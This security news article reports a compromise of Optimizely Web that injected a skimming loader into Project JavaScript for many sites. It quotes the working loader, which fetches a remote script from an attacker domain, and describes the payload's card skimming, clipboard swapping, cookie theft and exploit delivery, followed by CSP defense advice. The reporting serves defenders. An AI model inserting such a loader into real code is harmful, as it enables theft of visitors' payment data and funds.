Optimizely Hack Hits Zoom and GitLab with Malicious Code ~ Ibrahim Kaya
×
Cybersecurity

Optimizely Hack Hits Zoom and GitLab with Malicious Code

İbrahim Kaya Published: Updated: 3 min read
Optimizely Hack Hits Zoom and GitLab with Malicious Code
Contents

Security firm Report URI discovered that attackers compromised the Optimizely Web experimentation platform, serving malicious JavaScript to visitors across 178 organizations, including Zoom, GitLab, BBC, CNN, Salesforce, and HSBC.

The injection vector: compromised Project JavaScript

Instead of poisoning the CDN cache, the attackers gained write access to Optimizely configuration databases. Optimizely Web loads a snippet from cdn.optimizely.com containing experimentation parameters alongside an optional field called Project JavaScript (projectJS), which runs globally across the customer site.

The attackers inserted malicious loaders into the projectJS block across customer accounts while leaving the rest of the snippet intact:

JavaScript (Injected Loader)
"projectJS": function(){(function(){try{var s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();

The loader appeared in three forms: a direct <script> tag pointing to the malicious domain, a Base64-encoded URL decoded with atob(), and an inline fallback executed with eval when network filters blocked external requests.

Payload capabilities

The deployed script, track.js, executed multiple modules in the visitor browser:

  • Cryptocurrency Address Swapping: The script monitored form fields, page text, and the navigator.clipboard API. Whenever a user copied an address for Bitcoin, Ethereum, Solana, or TRON, the script replaced it with the attacker address.
  • Payment Card Skimming: The code scanned form fields and background network requests for Luhn-valid card numbers, expiration dates, and CVVs, sending the data out through navigator.sendBeacon. Sites using isolated payment iframes such as Stripe or Adyen were not affected.
  • Data and Session Theft: The script extracted cookies lacking the HttpOnly flag and captured checkout screenshots using html2canvas.
  • iOS Exploit Delivery: When the script detected Mobile Safari on older iOS releases, it opened a hidden iframe to serve the Coruna and DarkSword exploit kits.

Content Security Policy effectiveness

Allowlisting cdn.optimizely.com did not help because the malicious payload came directly from the trusted domain. Only 24 affected sites blocked the attack with strict rules.

Two common directives undermined protection: 'strict-dynamic', which trusted any script spawned by the legitimate Optimizely snippet, and 'unsafe-eval', recommended by Optimizely documentation, which enabled the inline fallback code. Sites that stopped data theft relied on restrictive connect-src rules, preventing the script from reaching attacker-controlled endpoints.

Organizations using Optimizely Web should audit their Project JavaScript and custom experiment code for unauthorized domains and atob() calls. Administrators should rotate all API tokens, remove 'unsafe-eval' from their CSP directives, and treat payment details submitted during the affected window as potentially compromised.